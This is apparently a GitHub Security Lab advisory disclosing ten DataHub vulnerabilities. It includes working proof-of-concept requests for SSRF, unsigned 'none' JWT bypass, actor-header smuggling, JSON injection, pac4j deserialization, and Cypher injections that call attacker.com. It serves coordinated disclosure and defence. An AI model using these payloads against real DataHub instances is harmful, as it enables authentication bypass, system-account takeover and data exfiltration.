Coordinated Disclosure Timeline
- 2022-09-21: Issues were reported to the DataHub team.
- 2022-10-07: We notified the maintainers about fixes being published as part of the v0.8.45 release and asked them to request CVEs and prepare advisories for them.
- 2022-10-28: The advisory for GHSL-2022-078 was published.
- 2023-01-06: The advisories for GHSL-2022-076, GHSL-2022-079, GHSL-2022-080, GHSL-2022-081, GHSL-2022-083 and GHSL-2022-086 were published.
Summary
Multiple vulnerabilities were found in DataHub:
- Issue 1: SSRF/XSS (
GHSL-2022-076
) - An SSRF vulnerability exists in DataHub’s Frontend proxy allowing external users to reroute requests from DataHub Frontend to arbitrary hosts. Alternatively, this also can be exploited as a Cross-Site Scripting (XSS) vulnerability. - Issue 2: Open Redirect (
GHSL-2022-077
) - An Open redirect vulnerability exists in DataHub’s frontend. - Issue 3: Missing JWT signature check (
GHSL-2022-078
) - DataHub’s Backend (GMS) does not verify the cryptographic signature of JWT tokens. This allows an attacker to connect to DataHub instances as any user if Metadata Service authentication is enabled. - Issue 4: System account impersonation (
GHSL-2022-079
) - When not using authentication for the metadata service (default configuration), theNoOpAuthenticator
will use theX-DataHub-Actor
header and use it as the user to authorise requests with. - Issue 5: JSON Injection (
GHSL-2022-080
) - DataHub’s frontend crafts multiple JSON strings using format strings. An attacker may be able to inject arbitrary fields in the JSON string that may shadow values added by the frontend. - Issue 6: Login fails open on JAAS misconfiguration (
GHSL-2022-081
) - If JAAS (Java Authentication and Authorization Service) authentication is used and the given configuration file contains an error, the authentication fails open and allows an attacker to login as any user using any password. - Issue 7: AES used in ECB mode (
GHSL-2022-082
) - TheSecretUtils
andSecretService
classes of the DataHub backend use AES in ECB mode to encrypt DataHub secrets. - Issue 8: Failure to Invalidate Session on Logout (
GHSL-2022-083
) - Session cookies issued by DataHub’s frontend are cleared on logout, but they are still considered as valid session cookies. - Issue 9: Deserialization of untrusted data (
GHSL-2022-086
) - DataHub uses outdated version of pac4j library and therefore affected by Deserialization of Untrusted Data vulnerability when processing the “nonce” parameter. - Issue 10: Multiple Cypher injections in
Neo4JGraphService
(GHSL-2022-087
) - NoSQL injections exist in the/api/v2/graphql
frontend endpoint and the/relationships
backend endpoint that may allow attackers to read the Neo4J database, wipe it out or initiate a SSRF attack.
These issues are listed in detail below including guidance for mitigation.
Product
DataHub
Tested Version
Details
Issue 1: SSRF/XSS (GHSL-2022-076
)
DataHub Frontend Proxy is a user-facing component of DataHub that performs authentication and forwards HTTP requests to DataHub GMS.
We discovered that the controllers.Application#proxy
method of DataHub Frontend Proxy does not adequately construct the URL when forwarding data to GMS, allowing external users to reroute requests from DataHub Frontend to arbitrary hosts. Specifically, there are two factors that make the application vulnerable:
-
The user-controllable path is concatenated directly after the port without a forward slash (source):
return _ws.url(String.format("%s://%s:%s%s", protocol, metadataServiceHost, metadataServicePort, resolvedUri)) .setMethod(request().method()) .setHeaders(request()
-
If the path starts with
/api/gms
, the application takes the string following/api/gms
asresolvedUri
(source):// Case 2: Map requests to /gms to / (Rest.li API) final String gmsApiPath = "/api/gms"; if (path.startsWith(gmsApiPath)) { return String.format("%s", path.substring(gmsApiPath.length())); }
So, a request to https://datahub-frontent:9002/api/gms/anything
is forwarded to https://datahub-gms:8800/anything
, which is the expected behavior.
However, when /api/gms
is not followed by a slash, as in this case, everything after /api/gms
will be concatenated with the GMS port part of the URL. From the attacker’s perspective, it’s possible to use the @
character to break URL parsing logic and “smuggle” another hostname:
A request https://datahub-frontent:9002/api/gms@example.com/123
will be forwarded to https://datahub-gms:8800@example.com/123
, where “example.com” is a host, “datahub-gms” is a username and 8800 is a password.
This results in the ability to reroute a request originating from the frontend proxy to any other server and return the result. This is known as a Server-Side Request Forgery (SSRF) vulnerability. In many cases SSRF can be utilized to access internal hosts as well as remote hosts. The ability to fully read the response increases the overall risk of this vulnerability.
Impact
This vulnerability can be exploited as Server-Side Request Forgery (SSRF) to induce arbitrary HTTP requests to internal-only servers, which can lead to sensitive information disclosure or data modification.
Alternatively, this also can be exploited as Cross-Site Scripting (XSS), as an attacker is able to reroute a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the DataHub Frontend proxy, this JavaScript code will be executed with the origin of the DataHub application.
Normally, an attacker should have a valid cookie to send any requests to frontend’s /api/gms
, which limits the likelihood of exploitation of the vulnerability. At the same time, if the metadata service authentication is enabled on the frontend proxy, this SSRF can be exploited without a valid cookie but with an empty Authorization
header, as the frontend proxy only checks its presence but not the value.
PoC:
GET /api/gms@example.com HTTP/1.1
Host: datahub-frontend:9002
Authorization:
Connection: close
Resources
- https://portswigger.net/web-security/ssrf
- https://portswigger.net/web-security/cross-site-scripting
Issue 2: Open Redirect (GHSL-2022-077
)
The AuthenticationController.authenticate()
class uses the redirect_uri
query parameter to redirect authenticated users to any arbitrary location.
final Optional<String> maybeRedirectPath = Optional.ofNullable(ctx().request().getQueryString(AUTH_REDIRECT_URI_PARAM));
final String redirectPath = maybeRedirectPath.orElse("/");
if (AuthUtils.hasValidSessionCookie(ctx())) {
return redirect(redirectPath);
}
A logged-in user may be tricked into following a link such as http://datahub-server/authenticate?redirect_uri=https://attacker.com/
where the attacker may present a fake login page to steal the victim’s credentials.
Impact
This issue may lead to Open Redirect
Resources
Issue 3: Missing JWT signature check (GHSL-2022-078
)
The StatelessTokenService
of the DataHub metadata service (GMS) does not verify the signature of JWT tokens. This allows an attacker to connect to DataHub instances as any user if Metadata Service authentication is enabled. This vulnerability occurs because the StatelessTokenService
of the Metadata service uses the parse
method of io.jsonwebtoken.JwtParser
, which does not perform a verification of the cryptographic token signature. This means that JWTs are accepted regardless of the used algorithm.
In the PoC below we set the algorithm to “none” and send a request to the frontend:
curl -i -X POST 'http://localhost:9002/api/graphql' \
--header 'Authorization: Bearer eyJhbGciOiJub25lIn0.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6Il9fZGF0YWh1Yl9zeXN0ZW0iLCJ0eXBlIjoiU0VTU0lPTiIsInZlcnNpb24iOiIxIiwianRpIjoiN2VmOTkzYjQtMjBiOC00Y2Y5LTljNmYtMTE2NjNjZWVmOTQzIiwic3ViIjoiZGF0YWh1YiIsImlzcyI6ImRhdGFodWItbWV0YWRhdGEtc2VydmljZSJ9.' \
--header 'Content-Type: application/json' \
--data-raw '{"query":"{\n me {\n corpUser {\n username\n }\n }\n}","variables":{}}'
The same PoC also works when we send the request directly to the Metadata service (GMS) backend:
curl -i -X POST 'http://localhost:8080/api/graphql' \
--header 'Authorization: Bearer eyJhbGciOiJub25lIn0.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6Il9fZGF0YWh1Yl9zeXN0ZW0iLCJ0eXBlIjoiU0VTU0lPTiIsInZlcnNpb24iOiIxIiwianRpIjoiN2VmOTkzYjQtMjBiOC00Y2Y5LTljNmYtMTE2NjNjZWVmOTQzIiwic3ViIjoiZGF0YWh1YiIsImlzcyI6ImRhdGFodWItbWV0YWRhdGEtc2VydmljZSJ9.' \
--header 'Content-Type: application/json' \
--data-raw '{"query":"{\n me {\n corpUser {\n username\n }\n }\n}","variables":{}}'
Impact
This issue may lead to an authentication bypass.
Resources
Issue 4: System account impersonation (GHSL-2022-079
)
When not using authentication for the metadata service (default configuration), the NoOpAuthenticator
will use the X-DataHub-Actor
header as the user to authorise requests with. This header is supposed to be removed by the frontend and replaced by the real, logged-in user.
return _ws.url(String.format("%s://%s:%s%s", protocol, metadataServiceHost, metadataServicePort, resolvedUri))
.setMethod(request().method())
.setHeaders(request()
.getHeaders()
.toMap()
.entrySet()
.stream()
// Remove X-DataHub-Actor to prevent malicious delegation.
.filter(entry -> !AuthenticationConstants.LEGACY_X_DATAHUB_ACTOR_HEADER.equals(entry.getKey()))
...
.collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))
)
...
.addHeader(AuthenticationConstants.LEGACY_X_DATAHUB_ACTOR_HEADER, getDataHubActorHeader())
However, the removal is done based on a case-sensitive check (equals()
), and when retrieving the header, a case-insensitive check is used instead. This differential can be used by an attacker to smuggle a X-DataHub-Actor
header (eg: X-DATAHUB-ACTOR
):
This vulnerability can be used by a “Reader” user to perform any GraphQL operation as the system user. For example, given a test
user with Reader
role, the following request to get an invite token will fail:
POST /api/v2/graphql HTTP/1.1
Host: localhost:9002
Content-Length: 175
Cookie: PLAY_SESSION=c6a3f3792d063f74ce7e00d510c2e4434bfe6727-actor=urn%3Ali%3Acorpuser%3Atest&token=eyJhbGciOiJIUzI1NiJ9.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6InRlc3QiLCJ0eXBlIjoiU0VTU0lPTiIsInZlcnNpb24iOiIxIiwianRpIjoiODNmM2RhZmUtZWQ4OC00ZjZkLWEzOTctZDFiZDUyOGI0ZmJjIiwic3ViIjoidGVzdCIsImV4cCI6MTY2Mzg3ODMwNSwiaXNzIjoiZGF0YWh1Yi1tZXRhZGF0YS1zZXJ2aWNlIn0.7MTTZLQQEHJ_3RiQgIgo4q5K6gKikqwA7LgLVKxr3pI; actor=urn:li:corpuser:test
{"operationName":"getNativeUserInviteToken","variables":{},"query":"query getNativeUserInviteToken {\n getNativeUserInviteToken {\n inviteToken\n __typename\n }\n}\n"}
Will result in:
HTTP/1.1 200 OK
Date: Wed, 21 Sep 2022 20:37:53 GMT
Server: Jetty (9.4.46.v20220331)
Connection: close
Content-Type: application/json
Content-Length: 324
{"errors":[{"message":"Unauthorized to perform this action. Please contact your DataHub administrator.","locations":[{"line":2,"column":3}],"path":["getNativeUserInviteToken"],"extensions":{"code":403,"type":"UNAUTHORIZED","classification":"DataFetchingException"}}],"data":{"getNativeUserInviteToken":null},"extensions":{}}
However adding the X-DATAHUB-ACTOR: urn:li:corpuser:__datahub_system
header, as in:
POST /api/v2/graphql HTTP/1.1
Host: localhost:9002
Content-Length: 175
Cookie: PLAY_SESSION=c6a3f3792d063f74ce7e00d510c2e4434bfe6727-actor=urn%3Ali%3Acorpuser%3Atest&token=eyJhbGciOiJIUzI1NiJ9.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6InRlc3QiLCJ0eXBlIjoiU0VTU0lPTiIsInZlcnNpb24iOiIxIiwianRpIjoiODNmM2RhZmUtZWQ4OC00ZjZkLWEzOTctZDFiZDUyOGI0ZmJjIiwic3ViIjoidGVzdCIsImV4cCI6MTY2Mzg3ODMwNSwiaXNzIjoiZGF0YWh1Yi1tZXRhZGF0YS1zZXJ2aWNlIn0.7MTTZLQQEHJ_3RiQgIgo4q5K6gKikqwA7LgLVKxr3pI; actor=urn:li:corpuser:test
X-DATAHUB-ACTOR: urn:li:corpuser:__datahub_system
{"operationName":"getNativeUserInviteToken","variables":{},"query":"query getNativeUserInviteToken {\n getNativeUserInviteToken {\n inviteToken\n __typename\n }\n}\n"}
An invite token will be returned:
HTTP/1.1 200 OK
Date: Wed, 21 Sep 2022 20:40:17 GMT
Server: Jetty (9.4.46.v20220331)
Content-Type: application/json
Content-Length: 131
{"data":{"getNativeUserInviteToken":{"inviteToken":"oeuvkjqnntzcjngkgnirdxzpjizbgomu","__typename":"InviteToken"}},"extensions":{}}
Impact
This issue may lead to an authorization bypass, enabling any user to perform system admin actions.
Issue 5: JSON Injection (GHSL-2022-080
)
The AuthServiceClient
crafts multiple JSON strings using user-controlled data:
String json = String.format("{ \"%s\":\"%s\" }", USER_ID_FIELD, userId);
...
String json = String.format("{ \"%s\":\"%s\", \"%s\":\"%s\", \"%s\":\"%s\", \"%s\":\"%s\", \"%s\":\"%s\", \"%s\":\"%s\" }",
USER_URN_FIELD, userUrn, FULL_NAME_FIELD, fullName, EMAIL_FIELD, email, TITLE_FIELD, title,
PASSWORD_FIELD, password, INVITE_TOKEN_FIELD, inviteToken);
...
String json = String.format("{ \"%s\":\"%s\", \"%s\":\"%s\", \"%s\":\"%s\" }", USER_URN_FIELD, userUrn, PASSWORD_FIELD, password, RESET_TOKEN_FIELD, resetToken);
...
String json = String.format("{ \"%s\":\"%s\", \"%s\":\"%s\" }", USER_URN_FIELD, userUrn, PASSWORD_FIELD, password); request.setEntity(new StringEntity(json));
...
These JSON strings are then sent to the backend and parsed using the Jackson library. An attacker may be able to inject arbitrary fields in the JSON string that may shadow values added by the frontend. In case of colliding keys, the Jackson library will use the one appearing the last in the string.
This can be used by an attacker to generate JWT tokens for arbitrary accounts or create arbitrary native accounts (including the system admin one).
Generating JWT tokens for arbitrary accounts
A user with credentials test
and password test
may send the following request to create a JWT token for the system admin account:
POST /logIn HTTP/1.1
Host: localhost:9002
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 70
{"username":"test\", \"userId\":\"__datahub_system", "password":"test"}
This will turn into two calls to the backend
- First call to
/verifyNativeUserCredentials
that will be successful sincetest
account exists{ "userUrn":"urn:li:corpuser:test", "userId":"__datahub_system", "password":"test" }
- Second call to
/generateSessionTokenForUser
with twouserId
keys. The backend will generate a token for the lastuserId
it finds, in this case, the__datahub_system
user id.{ "userId":"test", "userId":"__datahub_system" }
Note that even though the attack will be successful, the resulting PLAY_SESSION
cookie won’t be returned to the attacker since it will contain invalid characters.
Create account for system user
A user with an invite token can create an account with email test@test.com\",\"userUrn\":\"urn:li:corpuser:__datahub_system
which will result in a user with URN urn:li:corpuser:__datahub_system
being created. Since this is the special URN to identify the system admin, any request from this user will be considered as if they were coming from the system.
The request to create such account looks like:
POST /signUp HTTP/1.1
Host: localhost:9002
X-DATAHUB-ACTOR: urn:li:corpuser:__datahub_system
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 131
{"fullName":"kev","email":"test@test.com\",\"userUrn\":\"urn:li:corpuser:__datahub_system","password":"test","title":"Manager","inviteToken":"<invite_token>"}
Note that an injection is not neccessary in this case, since there is nothing preventing an attacker with an invite token from using a email
value like __datahub_system
which will result in a system account URN:
POST /signUp HTTP/1.1
Host: localhost:9002
X-DATAHUB-ACTOR: urn:li:corpuser:__datahub_system
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 131
{"fullName":"test", "title":"test", "email":"__datahub_system", "password":"test", "inviteToken":"qxhemjniqozbovjqfkkuockqdjooxqgb"}
Impact
This issue may lead to an authentication bypass and the creation of system accounts, which effectively can lead to full system compromise.
Resources
- https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.json_injection
Issue 6: Login fail open on JAAS misconfiguration (GHSL-2022-081
)
If JAAS (Java Authentication and Authorization Service) authentication is used and the given configuration contains an error, the authentication fails open and allows an attacker to login as any user using any password. This can happen because the only exception caught in the try-block inside the authenticateJaasUser
method is LoginException
. If any other exception occurs, it is swallowed, and the login process continues successfully. If the JAAS configuration (e.g., in the file jaas.conf
) contains an error, an IOException
is thrown on this line.
We can reproduce this by replacing the contents of jaas.conf
file with the following correct looking configuration missing a semicolon:
WHZ-Authentication {
com.sun.security.auth.module.LdapLoginModule sufficient
userProvider="ldap://192.168.0.1:636"
authIdentity="{USERNAME}"
userFilter="(&(objectClass=person)(uid={USERNAME}))"
java.naming.security.authentication="simple"
debug="true"
};
However, once a user tries to log in, any username and password combination is accepted.
Impact
This issue may lead to an authentication bypass.
Resources
Issue 7: AES used in ECB mode (GHSL-2022-082
)
The SecretUtils
and the SecretService classes of DataHub use AES in ECB mode to encrypt DataHub secrets. AES in ECB mode is typically not recommended since the same input data will produce the same output data. Please note that this might be an issue with rather low impact in the given scenario.
Impact
This issue may lead to Information Disclosure
Resources
Issue 8: Failure to Invalidate Session on Logout (GHSL-2022-083
)
Session cookies are only cleared on new sign-ins but they are not cleared in a logout. Even after a new sign-in, previous cookies are still considered as valid session cookies. Any authentication checks using the AuthUtils.hasValidSessionCookie()
method can be bypassed by using a cookie even if the user has been logged out.
The primary use of AuthUtils.hasValidSessionCookie()
is in the Authenticator
class that is used by the @Security.Authenticated(Authenticator.class)
annotation (eg: in the proxy()
method authentication):
@Security.Authenticated(Authenticator.class)
public CompletableFuture<Result> proxy(String path) throws ExecutionException, InterruptedException {
...
}
Impact
This issue may lead to an authentication bypass.
Resources
Issue 9: Deserialization of untrusted data (GHSL-2022-086
)
DataHub uses a vulnerable version of pac4j library that contains a java deserialization vulnerability. When DataHub frontend is configured to authenticate via SSO, pac4j processes parameters in the id_token
value in an unsafe manner. Specifically, if any of the id_token
claims value start with {#sb64}
prefix, pac4j considers the value to be a Serialized Java Object.
One of the ways to exploit this vulnerability is to use a malicious nonce
claim, as according to OpenID specification it can contain an arbitrary value and it is included into signed id_token
payload.
Vulnerable method: org.pac4j.core.profile.InternalAttributeHandler#restore
Steps to reproduce
- Configure DataHub frontend authentication with Google as described in the documentation
- Navigate to
http://localhost:9002/authenticate
(DataHub frontend) - You will be redirected to Google Auth. On the Google page, before submitting an email, add the following value to the current url:
&nonce={%23sb64}rO0ABXN...serizalized_object_in_base64...
and reload the page. For demonstration, URLDNS gadget chain from ysoserial project can be used (e.g.java -jar ysoserial.jar URLDNS http://attacker.com/
) - Provide a valid google email and password.
- When you are redirected to
http://localhost:9002/callback/oidc
the nonce value will be deserialized.
Conditions
In order for DataHub to be vulnerable, the following conditions should be met:
- DataHub should be configured to auth via SSO. It’s been tested on Google, but technically it should work with other providers as well.
- An attacker needs to have at least a valid account on the SSO provider (for Google, public accounts are just fine). This account does not necessarily should have access to DataHub.
- There should be a suitable deserialization gadget chain within the project. ULRDNS gadget used in the demonstration only confirms the fact that the object is deserialized. Other suitable gadget chains can be used to achieve a greater impact, such as RCE, local file read or information disclosure.
Impact
This issue may lead to Remote Code Execution (RCE) in the worst case. Although a RestrictedObjectInputStream
is in place, that puts some restriction on what classes can be deserialized, it still allows a broad range of java packages and potentially exploitable with different gadget chains.
Resources
Issue 10: Cypher Injection (GHSL-2022-087
)
Neo4JGraphService.runQuery()
is used to run Cypher queries against the Neo4j database. User-controlled data from <frontend>/api/v2/graphql
and <backend>/relationships
can flow into the runQuery
method with no sanitization and without being properly parameterized into the queries.
All the above mentioned entrypoints will eventually call findRelatedEntities
with user-controlled sourceTypes
and sourceEntityFilter
which will then be insecurely interpolated into the query.
sourceTypes
will get concatenated into the WHERE
clause:
private String computeEntityTypeWhereClause(@Nonnull final List<String> sourceTypes, @Nonnull final List<String> destinationTypes) {
String whereClause = "";
Boolean hasSourceTypes = sourceTypes != null && !sourceTypes.isEmpty();
Boolean hasDestTypes = destinationTypes != null && !destinationTypes.isEmpty();
if (hasSourceTypes && hasDestTypes) {
whereClause = String.format(" WHERE %s AND %s", sourceTypes.stream().map(type -> "src:" + type).collect(Collectors.joining(" OR ")), destinationTypes.stream().map(type -> "dest:" + type).collect(Collectors.joining(" OR ")));
} else if (hasSourceTypes) {
whereClause = String.format(" WHERE %s", sourceTypes.stream().map(type -> "src:" + type).collect(Collectors.joining(" OR ")));
} else if (hasDestTypes) {
whereClause = String.format(" WHERE %s", destinationTypes.stream().map(type -> "dest:" + type).collect(Collectors.joining(" OR ")));
}
return whereClause;
}
sourceEntityFilter
(containing the user-controlled urn
) will get concatenated into the filter clause:
@Nonnull
private static String criterionToString(@Nonnull CriterionArray criterionArray) {
if (!criterionArray.stream().allMatch(criterion -> Condition.EQUAL.equals(criterion.getCondition()))) {
throw new RuntimeException("Neo4j query filter only support EQUAL condition " + criterionArray);
}
final StringJoiner joiner = new StringJoiner(",", "{", "}");
criterionArray.forEach(criterion -> joiner.add(toCriterionString(criterion.getField(), criterion.getValue())));
return joiner.length() <= 2 ? "" : joiner.toString();
}
Steps to reproduce
Note: for the injection to be exploitable, Neo4J database needs to contain some nodes and relationships. In order to make sure those exists create a test
user and assign it a role (eg: Reader
)
SSRF payload to the frontend’s /api/v2/graphql
endpoint using the types
argument
POST /api/v2/graphql HTTP/1.1
Host: localhost:9002
Content-Length: 361
Cookie: PLAY_SESSION=ed6b4b6ca1c2cea6066b36e4316ba1e121ff89fe-actor=urn%3Ali%3Acorpuser%3Adatahub&token=eyJhbGciOiJIUzI1NiJ9.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6ImRhdGFodWIiLCJ0eXBlIjoiU0VTU0lPTiIsInZlcnNpb24iOiIxIiwianRpIjoiMzc2NjNkMGMtZmRiZC00MGRkLTljMTEtYzY0NTY4YzkzZTI5Iiwic3ViIjoiZGF0YWh1YiIsImV4cCI6MTY2Mzg0NDc1OCwiaXNzIjoiZGF0YWh1Yi1tZXRhZGF0YS1zZXJ2aWNlIn0.nqnNM9Jfq2Vnuz7Kz58Xzge6TjjPepATZVEDgYOJrvI; actor=urn:li:corpuser:datahub
Connection: close
{
"operationName": "getUser",
"variables": {},
"query": "query getUser {corpUser(urn: \"urn:li:corpuser:test\") {groups: relationships(input:{types:\"IsMemberOfRole]->(dest ) WHERE 1=1 WITH 1337 AS X LOAD CSV FROM 'http://attacker.com' AS y RETURN ''//\", direction: OUTGOING, start: 0, count: 20}) { count } }}"
}
Note: The frontend is not vulnerable to the urn
parameter because it parses it with createFromString
which will enforce all parenthesis are balanced.
SSRF payload to the backend’s /relationships
endpoint using the urn
parameter
GET /relationships?direction=INCOMING&types=OwnedBy&urn=urn%3Ali%3Acorpuser%3Atest%22%7D%29%20WHERE%201%3D1%20WITH%201337%20AS%20x%20LOAD%20CSV%20FROM%20%27https%3A%2F%2Fattacker.com%27%20AS%20y%20RETURN%20%27%27%2F%2F HTTP/1.1
Host: localhost:8080
Authorization:Bearer eyJhbGciOiJIUzI1NiJ9.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6ImRhdGFodWIiLCJ0eXBlIjoiUEVSU09OQUwiLCJ2ZXJzaW9uIjoiMiIsImp0aSI6ImIwN2U1MmNmLTAyODAtNDUzYS05MDZjLTE4YTc2N2E2MjM5YSIsInN1YiI6ImRhdGFodWIiLCJleHAiOjE2NjYzNTE1MDksImlzcyI6ImRhdGFodWItbWV0YWRhdGEtc2VydmljZSJ9.k3xFGoEd1cSIk_QoMO6nmBiLg0tE4aQJyf_3RimffyI
Connection: close
SSRF payload to the backend’s /relationships
endpoint using the types
parameter
GET /relationships?direction=OUTGOING&types=IsMemberOfRole%5D-%3E%28dest%29%20WHERE%201%3D1%20WITH%201337%20AS%20x%20LOAD%20CSV%20FROM%20%27https%3A%2F%2Fattacker.com%27%20AS%20y%20RETURN%20%27%27%2F%2F&urn=urn:li:corpuser:test HTTP/1.1
Host: localhost:8080
Authorization:Bearer eyJhbGciOiJIUzI1NiJ9.eyJhY3RvclR5cGUiOiJVU0VSIiwiYWN0b3JJZCI6ImRhdGFodWIiLCJ0eXBlIjoiUEVSU09OQUwiLCJ2ZXJzaW9uIjoiMiIsImp0aSI6ImIwN2U1MmNmLTAyODAtNDUzYS05MDZjLTE4YTc2N2E2MjM5YSIsInN1YiI6ImRhdGFodWIiLCJleHAiOjE2NjYzNTE1MDksImlzcyI6ImRhdGFodWItbWV0YWRhdGEtc2VydmljZSJ9.k3xFGoEd1cSIk_QoMO6nmBiLg0tE4aQJyf_3RimffyI
Connection: close
Impact
This vulnerability may be leveraged to read or even wipe out the entire Neo4j database, initiate HTTP requests to either reach internal hosts (SSRF) or to exfiltrate information from the database.
Resources
CVE
- CVE-2023-25557 (SSRF-XSS)
- CVE-2022-39366 (Missing JWT signature check)
- CVE-2023-25559 (System account impersonation)
- CVE-2023-25560 (JSON Injection)
- CVE-2023-25561 (Login fail open on JAAS misconfiguration)
- CVE-2023-25562 (Failure to Invalidate Session on Logout)
- CVE-2023-25558 (Deserialization of untrusted data)
- CVE-2023-25580 (Multiple Cypher injections in Neo4JGraphService)
Credit
These issues were discovered and reported by the GHSL team:
- @artsploit (Michael Stepankin)
- @jorgectf (Jorge Rosillo)
- @kwstubbs (Kevin Stubbings)
- @p- (Peter Stöckli)
- @pwntester (Alvaro Muñoz)
- @sylwia-budzynska (Sylwia Budzynska)
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2022-076
, GHSL-2022-077
, GHSL-2022-078
, GHSL-2022-079
, GHSL-2022-080
, GHSL-2022-081
, GHSL-2022-082
, GHSL-2022-083
, GHSL-2022-086
or GHSL-2022-087
in any communication regarding these issues.